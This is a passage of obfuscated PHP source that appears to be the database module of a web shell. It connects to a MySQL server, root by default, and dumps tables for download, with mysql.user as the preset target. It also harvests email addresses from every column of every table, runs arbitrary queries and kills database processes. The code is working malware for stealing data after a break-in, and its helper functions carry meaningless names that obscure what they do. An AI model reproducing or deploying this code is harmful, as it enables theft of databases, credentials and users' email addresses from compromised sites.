@trim($tmp_table); $dumping_arr[] = $tmp_table; } $dumping_arr = @array_unique($dumping_arr); $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("447")); } elseif (@count($dumping_arr) < 1) { echo z2b(z9s("448")); } else { if (@isset($sql_download) && $sql_download == "1") { @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename="" . @basename($dump_filename) . "";"); foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { echo $v . "\xd
"; } } } die; } if (!@isset($sql_save2file) || $sql_save2file != "1") { echo z9m("2") . z6g() . z6w() . z5w('', "1"); foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { echo @htmlspecialchars($v) . "\xd\xa"; } } } echo z5q() . z7g() . z7u() . z10w() . z6d(); } elseif ($fp) { foreach ($dumping_arr as $dump_table) { if ($sql->dump($dump_table)) { foreach ($sql->dump as $v) { if (!@fwrite($fp, $v . "\xd
")) { @fputs($fp, $v . "
\xa"); } } } } @fclose($fp); if (z4q($dump_filename)) { echo z2b(z9s("449", $dump_filename)); } else { echo z2b(z9s("450")); } } else { echo z2b(z9s("450")); } } } } if ($sql_act == "table_act" && @isset($table_act) && ($table_act == "browse" || $table_act == "insert") && @isset($sel_table) && !@empty($sel_table)) { $crows = $sql->count_rows($sel_table); $sql->parse_fields($sel_table); $cfields = $sql->num_fields; $fields = $sql->columns; if ($table_act == "insert") { if (@isset($sql_tbl_insert_radio) && !@empty($sql_tbl_insert_radio)) { if ($sql_tbl_insert_radio == 1) { $keys = ''; $akeys = @array_keys($sql_tbl_insert); foreach ($akeys as $v) { $keys .= "`" . @addslashes($v) . "`, "; } if (!@empty($keys)) { $keys = @substr($keys, 0, @strlen($keys) - 2); } $values = ''; $i = 0; foreach (@array_values($sql_tbl_insert) as $v) { if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) { $values .= $funct . " ("; } $values .= "'" . @addslashes($v) . "'"; if ($funct) { $values .= ")"; } $values .= ", "; $i++; } if (!@empty($values)) { $values = @substr($values, 0, @strlen($values) - 2); } $sql->query("INSERT INTO `" . $sel_table . "` ( " . $keys . " ) VALUES ( " . $values . " );"); } elseif ($sql_tbl_insert_radio == 2) { $set = z1r($sql_tbl_insert, ", ", $sql_tbl_insert_functs); $sql->query("UPDATE `" . $sel_table . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;"); } $table_act = "browse"; } else { echo z2b(array("INSERT INTO TABLE " . $sel_table), "1"); if (!@isset($sql_tbl_insert) || !@is_array($sql_tbl_insert)) { $sql_tbl_insert = array(); } if (!@empty($sql_tbl_insert_q)) { $sql->query("SELECT * FROM `" . $sel_table . "` WHERE " . $sql_tbl_insert_q . " LIMIT 1;"); $values = @mysql_fetch_assoc($sql->res); @mysql_free_result($sql->res); } else { $values = array(); } echo z9l() . z9b("act", "sql") . z9b("sql_server") . z9b("sql_user") . z9b("sql_pass") . z9b("sql_port") . z9b("sql_engine") . z9b("d") . z9b("sql_act", "table_act") . z9b("table_act", "insert") . z9b("sel_table") . z9b("sql_db") . z9b("sql_tbl_insert_q") . z9m("2") . z7i(z9j("Field", "13", "2") . z9j("Type", "13") . z9j("Function", "13") . z9j("Value", "13", "3")); $sql->query("SHOW FIELDS FROM `" . $sel_table . "`;"); $sql->get_result(); for ($i = 0; $i < $sql->num_rows; $i++) { $field = $sql->rows[$i]; $name = $field["Field"]; if (empty($sql_tbl_insert_q)) { $v = ''; } echo z9f(z9j(z8e(@htmlspecialchars($name)), "14", "2") . z9j($field["Type"], "14") . z9j(z4a("sql_tbl_insert_functs[" . @htmlspecialchars($name) . "]", array('' => '', "PASSWORD" => "PASSWORD", "MD5" => "MD5", "ENCRYPT" => "ENCRYPT", "ASCII" => "ASCII", "CHAR" => "CHAR", "RAND" => "RAND", "LAST_INSERT_ID" => "LAST_INSERT_ID", "COUNT" => "COUNT", "AVG" => "AVG", "SUM" => "SUM", " " => "--------", "SOUNDEX" => "SOUNDEX", "LCASE" => "LCASE", "UCASE" => "UCASE", "NOW" => "NOW", "CURDATE" => "CURDATE", "CURTIME" => "CURTIME", "FROM_DAYS" => "FROM_DAYS", "FROM_UNIXTIME" => "FROM_UNIXTIME", "PERIOD_ADD" => "PERIOD_ADD", "PERIOD_DIFF" => "PERIOD_DIFF", "TO_DAYS" => "TO_DAYS", "UNIX_TIMESTAMP" => "UNIX_TIMESTAMP", "USER" => "USER", "WEEKDAY" => "WEEKDAY", "CONCAT" => "CONCAT"), "5"), "14") . z9j(z6i("sql_tbl_insert[" . (@isset($name) ? @htmlspecialchars($name) : '') . "]", @isset($values["{$name}"]) ? @htmlspecialchars($values["{$name}"]) : '', "7"), "14", "3"), $i % 2 ? "0" : "1"); } echo z10w(); $iradio = "<input type="radio" id="insert" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="1"" . (@empty($sql_tbl_insert_q) ? " checked" : '') . "><label for="insert">" . z9s("405") . "</label>"; if (!@empty($sql_tbl_insert_q)) { $iradio .= z9c() . z9s("406") . z9c() . "<input type="radio" id="save" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="2" checked><label for="save">" . z9s("407") . "</label>"; $iradio .= z9b("sql_tbl_insert_q", @htmlspecialchars($sql_tbl_insert_q)); } echo z2b($iradio . z9c("3") . z8v(z9s("408"), "7")); echo z9z(); } } if ($table_act == "browse") { if (!@isset($sql_from) || !@is_numeric($sql_from)) { $sql_from = 0; } if (!@isset($sql_limit) || !@is_numeric($sql_limit)) { $sql_limit = 50; } if (!@isset($sql_page) || !@is_numeric($sql_page)) { $sql_page = 0; } $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "a") { $psql_sort[1] = "d"; } else { $psql_sort[1] = "a"; } if ($psql_sort[0] > $cfields - 1) { $psql_sort[0] = "0"; } $v = $psql_sort[0]; if ($crows > $sql_limit) { $pages = @ceil($crows / $sql_limit); $tmpsort = ''; if (@is_array($fields) && @isset($fields[$psql_sort[0]])) { $tmpsort = " ORDER BY `" . $fields[$psql_sort[0]] . "` " . ($psql_sort[1] == "a" ? "ASC" : "DESC"); } $table_limit = $tmpsort . " LIMIT " . $sql_limit * $sql_page . "," . $sql_limit; } else { $table_limit = ''; $pages = 0; } $ar_pages = array(); for ($i = 0; $i < $pages; $i++) { $ar_pages[$i] = z9s("397") . " " . ($i + 1); } if (@count($ar_pages) < 1) { $ar_pages = array("0" => z9s("397") . " 1"); } echo z2b(array(z9s("395", array($sel_table, $cfields, $crows)), z10e(z9f(z7e(($sql_page > 0 ? z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act", "sql_db", "sel_table", "sql_page" => $sql_page == "1" ? "NULL" : $sql_page - 1), z8v(z9s("396"), "7")) : z8v(z9s("396"), "7")) . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act", "sql_db", "sel_table"), z4a("sql_page", $ar_pages, "1", 1) . z8v(z9s("398"), "7")) . ($sql_page < $pages - 1 ? z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act", "sql_db", "sel_table", "sql_page" => $sql_page + 1), z8v(z9s("399"), "7")) : z8v(z9s("399"), "7")))), "2")), "1"); $sql->query("SELECT * FROM " . $sel_table . $table_limit . ";"); if ($sql->get_result()) { echo z9m("2") . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k(); echo z9m("2"); echo z6g(); for ($i = 0; $i < @count($sql->columns); $i++) { echo ($i == 0 ? z9j(z9s("62"), "13", "2") : '') . z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "table_act", "sql_db", "sel_table", "sql_page", "sql_sort" => $psql_sort[0] == "{$i}" ? "{$i}" . ($psql_sort[1] == "a" ? "d" : "a") : "{$i}" . $psql_sort[1]), z8v($sql->columns[$i] . ($psql_sort[0] == "{$i}" ? " " . ($psql_sort[1] == "a" ? "↑" : "↓") : ''), "3")), "13", $i == @count($sql->columns) - 1 ? "3" : ''); } echo z7u(); $print_arr = array(); for ($i = 0; $i < $sql->num_rows; $i++) { if (@is_array($sql->rows[$i])) { $tmparr = array(); foreach ($sql->rows[$i] as $rk => $rv) { $tmparr[] = $rv; } $print_arr[] = $tmparr; } } @usort($print_arr, "z3i"); if ($psql_sort[1] == "d") { $print_arr = @array_reverse($print_arr); } for ($i = 0; $i < @count($print_arr); $i++) { echo z6g($i % 2 ? "0" : "1"); $cr = 0; foreach ($print_arr[$i] as $rv) { $w = ''; for ($a = 0; $a < $sql->num_fields; $a++) { $w .= " `" . $sql->columns[$a] . "` = '" . @addslashes($print_arr[$i][$a]) . "' AND"; } if ($a > 0) { $w = @substr($w, 0, @strlen($w) - 3); } echo ($cr == 0 ? z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "sql_db", "sel_table", "sql_tbl_insert_q" => $w), z4a("table_act", array("insert" => "Edit", "delete" => "Delete"), "3") . z8v("»", "6")) . "</nobr>", "14", "28") : '') . z9j(@is_null($rv) ? "NULL" : @htmlspecialchars($rv), "14", $cr == @count($print_arr[$i]) - 1 ? "3" : ''); $cr++; } echo z7u(); } echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } } } elseif ($sql_act == "db_act" && @isset($db_act) && $db_act == "select" && @isset($sql_db) && !@empty($sql_db)) { echo z2b(z9s("366", $sql_db), "1"); $sql->query("SHOW TABLE STATUS;"); if ($sql->get_result()) { $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "a") { $psql_sort[1] = "d"; } else { $psql_sort[1] = "a"; } if ($psql_sort[0] >= $sql->num_fields) { $psql_sort[0] = "0"; } $v = $psql_sort[0]; echo z9m("2") . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k(); echo z9m("2") . z6g(); for ($i = 0; $i < $sql->num_fields; $i++) { echo z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act", "db_act", "sql_db", "sel_table", "sql_page", "sql_sort" => $psql_sort[0] == "{$i}" ? "{$i}" . ($psql_sort[1] == "a" ? "d" : "a") : "{$i}" . $psql_sort[1]), z8v(($i == 0 ? "Table " : '') . $sql->columns[$i] . ($psql_sort[0] == "{$i}" ? " " . ($psql_sort[1] == "a" ? "↑" : "↓") : ''), "3")), "13", $i == 0 ? "2" : ($i == $sql->num_fields - 1 ? "3" : '')) . ($i == 0 ? z9j(z9s("369"), "13", "8") : ''); } echo z7u(); $print_arr = array(); for ($i = 0; $i < $sql->num_rows; $i++) { if (@is_array($sql->rows[$i])) { $tmparr = array(); foreach ($sql->rows[$i] as $rk => $rv) { $tmparr[] = $rv; } $print_arr[] = $tmparr; } } @usort($print_arr, "z3i"); if ($psql_sort[1] == "d") { $print_arr = @array_reverse($print_arr); } for ($i = 0; $i < @count($print_arr); $i++) { echo z6g($i % 2 ? "0" : "1"); $cr = 0; foreach ($print_arr[$i] as $rv) { echo z9j(@is_null($rv) ? "NULL" : ($cr == 0 ? "<nobr>" . z5c(array("act" => "sql", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "d", "sql_act" => "table_act", "sql_db", "sel_table" => $rv, "table_act" => "browse"), z8v($rv, "11")) . "</nobr>" : @htmlspecialchars($rv)), "14", $cr == 0 ? "2" : ($cr == @count($print_arr[$i]) - 1 ? "3" : '')); if ($cr == 0) { echo z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "sql_db", "sel_table" => $rv), z4a("table_act", $table_actions, "3") . z8v("»", "6")) . "</nobr>", "14", "8"); } $cr++; } echo z7u(); } echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } } } if ($sql_act == "query") { echo z2b(z9s("370")); echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "query", "query_confirm" => "1"), z5n() . z7i(z5t(z9s("364")) . z9j(z5u("sql_db", '', "7"))) . z9f(z5t(z9s("370")) . z9j(z5w("sql_query", "5") . (@isset($sql_query) ? @htmlspecialchars($sql_query) : '') . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("371"), "7"))) . z5n()) . z10w(); if (@isset($query_confirm) && $query_confirm) { if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("447")); } } $q_sql_error = ''; $q_sql_result = ''; if (@strlen($sql_query) > 5) { $q_sql_result .= z2b(z9s("394")); switch ($sql->query($sql_query)) { case "0": $q_sql_result .= z2b("ERROR : " . $sql->error); break; case "1": if ($sql->get_result()) { $q_sql_result .= z9m("2") . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k(); foreach ($sql->columns as $k => $v) { $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES); } $keys = ''; $count_keys = @count($sql->columns); $key_num = 0; foreach ($sql->columns as $column) { if ($key_num == 0) { $keys .= z9j($column, "13", "02"); } elseif ($key_num == $count_keys - 1) { $keys .= z9j($column, "13", "03"); } else { $keys .= z9j($column, "13", "0"); } $key_num++; } $q_sql_result .= z7i($keys); for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $k => $v) { $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES); } $values = ''; $count_values = @count($sql->rows[$i]); $value_num = 0; foreach ($sql->rows[$i] as $row) { if ($value_num == 0) { $values .= z9j($row, "14", "2"); } elseif ($value_num == $count_values - 1) { $values .= z9j($row, "14", "3"); } else { $values .= z9j($row, "14"); } $value_num++; } $q_sql_result .= z7i($values, $i % 2 ? "0" : "1"); } $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } break; case "2": $ar = $sql->affected_rows() ? $sql->affected_rows() : "0"; $q_sql_result .= z2b("AFFECTED ROWS: " . $ar); break; } } if ($q_sql_result != '') { echo $q_sql_result; $q_sql_result = ''; } } } if ($sql_act == "emails") { $emails = array(); if (!@isset($emails_filename)) { $emails_filename = $tempdir . "emails_" . @getenv("SERVER_NAME") . "_db_" . @date("d-m-Y_H-i-s") . ".txt"; } if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array(); $sql->query("SHOW TABLES FROM " . $sql_db . ";"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[] = $rv; } } } } } if (!@isset($sql_tables) || @empty($sql_tables)) { if (@isset($sel_table) && !@empty($sel_table)) { $sql_tables = $sel_table; } else { $sql_tables = @count($table_list) > 0 ? @implode(",", $table_list) : ''; } } elseif (@isset($table_list) && @is_array($table_list)) { $tmp_tables = @explode(",", $sql_tables); $sql_tables = ''; foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); if (@in_array($tmp_table, $table_list)) { $sql_tables .= $tmp_table . ","; } else { break; } } if (@empty($sql_tables)) { $sql_tables = @implode(",", $table_list); } } echo z2b(z9s("372")); echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "emails", "dump_confirm" => "1"), z5n() . z7i(z5t(z9s("364")) . z9j(z4a("sql_db", $db_list, "7", 1))) . z7i(z5t(z9s("373")) . z9j(z5w("sql_tables", "5") . (@isset($sql_tables) ? @htmlspecialchars($sql_tables) : '') . z5q())) . z7i(z5t(z9s("374")) . z9j(z5u("emails_filename", $emails_filename, "7"))) . z7i(z5t(z9c()) . z9j(z5y("sql_save2file", z9s("375"), "sql_save2file") . z9c() . z5y("sql_download", z9s("376"), "sql_download"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("377"), "7"))) . z5n()) . z10w(); if (@isset($dump_confirm) && $dump_confirm) { $fp = 0; if (@isset($sql_save2file) && $sql_save2file == "1" && @isset($dump_filename) && !@empty($dump_filename)) { $fp = @fopen($emails_filename, "w"); } $dumping_arr = array(); $tmp_tables = @explode(",", $sql_tables); foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); $dumping_arr[] = $tmp_table; } $dumping_arr = @array_unique($dumping_arr); $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("447")); } elseif (@count($dumping_arr) < 1) { echo z2b(z9s("448")); } else { foreach ($dumping_arr as $dump_table) { if ($sql->parse_fields($dump_table)) { foreach ($sql->columns as $ck => $cv) { if ($sql->query("SELECT " . $cv . " FROM " . $dump_table . " WHERE " . $cv . " REGEXP '^[^@]+@[^@]+\.[^@]{2,}$';")) { if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { $tmpmails = z3v($sql->rows[$i][$cv]); if (@count($tmpmails) > 0) { foreach ($tmpmails as $mtmp) { $emails[] = $mtmp; } } } } } } } } $emails = @array_unique($emails); if (@count($emails) > 0) { $maildump = @implode("
", $emails); if (@isset($sql_download) && $sql_download == "1") { @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-length: " . @strlen($maildump)); @header("Content-disposition: attachment; filename="" . @basename($emails_filename) . "";"); echo $maildump; die; } if (!@isset($sql_save2file) || $sql_save2file != "1") { echo z9m("2") . z6g() . z6w() . z5w('', "1") . @htmlspecialchars($maildump) . z5q() . z7g() . z7u() . z10w() . z6d(); } elseif ($fp || @function_exists("file_put_contents")) { if (@fwrite($fp, $maildump) or @fputs($fp, $maildump) or @file_put_contents($emails_filename, $maildump)) { echo z2b(z9s("449", $emails_filename)); } else { echo z2b(z9s("450")); } } else { echo z2b(z9s("450")); } } } } } if ($sql_act == "serverstatus") { echo z2b(z9s("378"), "1"); $sql->query("SHOW STATUS"); if ($sql->get_result()) { echo z9m("2") . z7i(z9j(z9s("380"), "13", "2") . z9j(z9s("381"), "13", "3")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "0" : "1"); $cr = 0; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "14", $cr == 0 ? "25" : ($cr == @count($sql->rows[$i]) - 1 ? "3" : '')); $cr++; } echo z7u(); } echo z10w(); } } if ($sql_act == "servervars") { echo z2b(z9s("379"), "1"); $sql->query("SHOW VARIABLES"); if ($sql->get_result()) { echo z9m("2") . z7i(z9j(z9s("380"), "13", "2") . z9j(z9s("381"), "13", "3")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "0" : "1"); $cr = 0; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "14", $cr == 0 ? "25" : ($cr == @count($sql->rows[$i]) - 1 ? "3" : '')); $cr++; } echo z7u(); } echo z10w(); } } if ($sql_act == "processes") { if (@isset($kill) && !@empty($kill)) { $query = "KILL " . $kill . ";"; $sql->query($query); echo z2b(z9s("393", $kill), "1"); } else { echo z2b(z9s("382"), "1"); } $sql->query("SHOW PROCESSLIST;"); if ($sql->get_result()) { echo z9m("2") . z7i(z9j(z9s("383"), "13", "2") . z9j(z9s("384"), "13") . z9j(z9s("385"), "13") . z9j(z9s("386"), "13") . z9j(z9s("387"), "13") . z9j(z9s("388"), "13") . z9j(z9s("389"), "13") . z9j(z9s("390"), "13") . z9j(z9s("391"), "13", "3")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "0" : "1"); $cr = 0; $pid = ''; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "14", $cr == 0 ? "5" : ''); if ($cr == 0) { $pid = $rv; } $cr++; } echo z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "processes", "kill" => $pid), z8v(z9s("392"), "7")), "14"); echo z7u(); } echo z10w(); } } if ($sql_act == "showdb") { $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "a") { $psql_sort[1] = "d"; } if ($psql_sort[0] > 2) { $psql_sort[0] = "0"; } $v = $psql_sort[0]; echo z2b(z9s("359"), "1"); echo z9m("2"); echo z7i(z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_sort" => $psql_sort[0] == "0" ? "0" . ($psql_sort[1] == "a" ? "d" : "a") : "0" . $psql_sort[1]), z8v(z9s("360") . ($psql_sort[0] == "0" ? " " . ($psql_sort[1] == "a" ? "↑" : "↓") : ''), "3")), "13", "2") . z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_sort" => $psql_sort[0] == "1" ? "1" . ($psql_sort[1] == "a" ? "d" : "a") : "1" . $psql_sort[1]), z8v(z9s("361") . ($psql_sort[0] == "1" ? " " . ($psql_sort[1] == "a" ? "↑" : "↓") : ''), "3")), "13") . z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_sort" => $psql_sort[0] == "2" ? "2" . ($psql_sort[1] == "a" ? "d" : "a") : "2" . $psql_sort[1]), z8v(z9s("362") . ($psql_sort[0] == "2" ? " " . ($psql_sort[1] == "a" ? "↑" : "↓") : ''), "3")), "13") . z9j(z9s("363"), "13", "3")); if (@count($db_list) > 1) { $def_db = $sql->base; $total_tables = 0; $total_size = 0; $print_arr = array(); foreach ($sql->list_dbs() as $k => $kv) { $sql->base = $k; $tables = "0"; $size = "0"; if ($sql->select_db()) { $sql->query("SHOW TABLES;"); if ($sql->get_result()) { $tables = $sql->num_rows; } $sql->query("SELECT round(data_length + index_length) FROM information_schema.TABLES WHERE table_schema = "" . $k . "";"); if ($sql->get_result()) { $size = @implode('', $sql->rows[0]); } } $print_arr[] = array($k, $size, $tables); $total_tables += $tables; $total_size += $size; } $sql->base = $def_db; $sql->select_db(); } if (@count($print_arr) > 0) { $count = 0; @usort($print_arr, "z3i"); if ($psql_sort[1] == "d") { $print_arr = @array_reverse($print_arr); } foreach ($print_arr as $ar) { echo z7i(z9j(z5c(array("act" => "sql", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "db_act", "db_act" => "select", "d", "sql_db" => $ar[0]), z8v($ar[0], "11")), "14", "2") . z9j(z7c($ar[1]), "14") . z9j($ar[2], "14") . z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "db_act", "sql_db" => $ar[0]), z4a("db_act", $db_actions, "3") . z8v("»", "6")) . "</nobr>", "14", "38"), $count % 2 ? "0" : "1"); $count++; } echo z7i(z9j(z8e(z9s("409", $count)), "13", "2") . z9j(z7c($total_size), "13") . z9j($total_tables, "13") . z9j(z9c(), "13", "3")); } echo z10w(); } } } else { $hmsg = z9s("191"); } } if (!$hideconnect) { if (!@isset($q_sql_query)) { $q_sql_query = "SHOW DATABASES;\xaSELECT * FROM user;"; } if (!@isset($q_sql_filename)) { $q_sql_filename = $tempdir . "dump_" . @getenv("SERVER_NAME") . "_db_" . @date("d-m-Y_H-i-s") . ".sql"; } $available_arr = array(); if ($bmysql) { $available_arr["MySQL"] = "MySQL"; } if ($bmssql) { $available_arr["MSSQL"] = "MSSQL"; } if ($bpostgres) { $available_arr["PostgreSQL"] = "PostgreSQL"; } if ($boracle) { $available_arr["Oracle"] = "Oracle"; } echo z2b(z9s("451") . ($hmsg != '' ? " : " . $hmsg : '')); echo z9m("2") . z5c(array("act" => "sql", "d"), z5n() . z7i(z7e(z8e(z9s("452"))) . z7l(z5u("sql_server", "127.0.0.1", "4") . ":" . z5u("sql_port", "3306", "1")) . z7e(z8e(z9s("453"))) . z7l(z5u("sql_user", "root", "4")) . z7e(z8e(z9s("454"))) . z7l(z5u("sql_pass", '', "4")) . z7e(z8e(z9s("455"))) . z7l(z5u("sql_db", '', "4")) . z7e(z8e(z9s("456"))) . z7l(z4a("sql_engine", array("MySQL" => "MySQL"), "4", 1) . z8v(z9s("457"), "7")))) . z10w(); echo z6d(); echo z2b(array(z9s("410"), z9s("420")), "46"); echo z9m("2") . z9f(z9j(z5c(array("act" => "sql", "d", "q_sql_action" => "dump"), z9m() . z5n() . z7i(z5t(z9s("411")) . z9j(z4a("q_sql_engine", $available_arr, "4", 1))) . z7i(z5t(z9s("412")) . z9j(z5u("q_sql_server", "127.0.0.1", "4") . ":" . z5u("q_sql_port", "3306", "1"))) . z7i(z5t(z9s("413")) . z9j(z5u("q_sql_user", "root", "4") . ":" . z5u("q_sql_pass", '', "4"))) . z7i(z5t(z9s("414")) . z9j(z5u("q_sql_db", "mysql", "4") . "." . z5u("q_sql_table", "user", "4"))) . z7i(z5t(z9s("415")) . z9j(z5u("q_sql_filename", $q_sql_filename, "8"))) . z7i(z5t(z9c()) . z9j(z5y("q_sql_download", z9s("416"), "q_sql_download"))) . z7i(z5t(z9c()) . z9j(z5y("q_sql_save2file", z9s("417"), "q_sql_save2file"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("418"), "7"))) . z5n() . z10w()), '', "4") . z9j(z5c(array("act" => "sql", "d", "q_sql_action" => "query"), z9m() . z5n() . z7i(z5t(z9s("411")) . z9j(z4a("q_sql_engine", $available_arr, "4", 1))) . z7i(z5t(z9s("412")) . z9j(z5u("q_sql_server", "127.0.0.1", "4") . ":" . z5u("q_sql_port", "3306", "1"))) . z7i(z5t(z9s("413")) . z9j(z5u("q_sql_user", "root", "4") . ":" . z5u("q_sql_pass", '', "4"))) . z7i(z5t(z9s("421")) . z9j(z5u("q_sql_db", "mysql", "4"))) . z9f(z5t(z9s("370")) . z9j(z5w("q_sql_query", "4") . @htmlspecialchars($q_sql_query) . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("422"), "7"))) . z5n() . z10w()), '', "46")) . z10w(); if (@isset($q_sql_action) && $q_sql_action == "query") { $sql = new my_sql(); $sql->db = $q_sql_engine; $sql->host = $q_sql_server; $sql->port = $q_sql_port; $sql->user = $q_sql_user; $sql->pass = $q_sql_pass; $sql->base = $q_sql_db; $querys = @explode(";", $q_sql_query); $q_sql_connect_error = ''; $q_sql_error = ''; $q_sql_result = ''; if (!$sql->connect()) { $q_sql_connect_error = z2b(z9s("419")); } else { if (!empty($sql->base) && !$sql->select_db()) { $q_sql_connect_error = z2b(z9s("447")); } else { foreach ($querys as $num => $query) { if (@strlen($query) > 5) { $q_sql_result .= z2b(z9s("423", array($num, @htmlspecialchars($query, ENT_QUOTES)))); switch ($sql->query($query)) { case "0": $q_sql_result .= z2b("ERROR : " . $sql->error); break; case "1": if ($sql->get_result()) { $q_sql_result .= z9m("2") . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k(); foreach ($sql->columns as $k => $v) { $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES); } $keys = ''; $count_keys = @count($sql->columns); $key_num = 0; foreach ($sql->columns as $column) { if ($key_num == 0) { $keys .= z9j($column, "13", "02"); } elseif ($key_num == $count_keys - 1) { $keys .= z9j($column, "13", "03"); } else { $keys .= z9j($column, "13", "0"); } $key_num++; } $q_sql_result .= z7i($keys); for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $k => $v) { $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES); } $values = ''; $count_values = @count($sql->rows[$i]); $value_num = 0; foreach ($sql->rows[$i] as $row) { if ($value_num == 0) { $values .= z9j($row, "14", "2"); } elseif ($value_num == $count_values - 1) { $values .= z9j($row, "14", "3"); } else { $values .= z9j($row, "14"); } $value_num++; } $q_sql_result .= z7i($values, $i % 2 ? "0" : "1"); } $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } break; case "2": $ar = $sql->affected_rows() ? $sql->affected_rows() : "0"; $q_sql_result .= z2b("AFFECTED ROWS: " . $ar); break; } } if ($q_sql_result != '') { echo $q_sql_result; $q_sql_result = ''; } } } } if ($q_sql_connect_error != '') { echo $q_sql_connect_error; } } if (@isset($q_sql_action) && $q_sql_action == "dump") { $fp = 0; if (@isset($q_sql_save2file) && $q_sql_save2file == "1" && @isset($q_sql_filename) && !@empty($q_sql_filename)) { if (z4q($q_sql_filename)) { @unlink($q_sql_filename); } $fp = @fopen($q_sql_filename, "a"); } $q_sql_filename = @str_replace("_db_", "_" . $q_sql_db . "_", $q_sql_filename); $sql = new my_sql(); $sql->db = $q_sql_engine; $sql->host = $q_sql_server; $sql->port = $q_sql_port; $sql->user = $q_sql_user; $sql->pass = $q_sql_pass; $sql->base = $q_sql_db; $q_sql_dumped = ''; if (!$sql->connect()) { echo z2b(z9s("419")); } elseif (!$sql->select_db()) { echo z2b(z9s("447")); } elseif (!$sql->dump($q_sql_table)) { echo z2b(z9s("458")); } else { if (@isset($q_sql_download) && $q_sql_download == "1") { @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename="" . @basename($q_sql_filename) . "";"); foreach ($sql->dump as $v) { echo $v . "\xd
"; } die; } if (!@isset($q_sql_save2file) || $q_sql_save2file != "1") { echo z9m("2") . z6g() . z6w() . z5w('', "1"); foreach ($sql->dump as $v) { echo @htmlspecialchars($v) . "
\xa"; } echo z5q() . z7g() . z7u() . z10w() . z6d(); } else { if ($fp) { foreach ($sql->dump as $v) { if (!@fwrite($fp, $v . "
\xa")) { @fputs($fp, $v . "
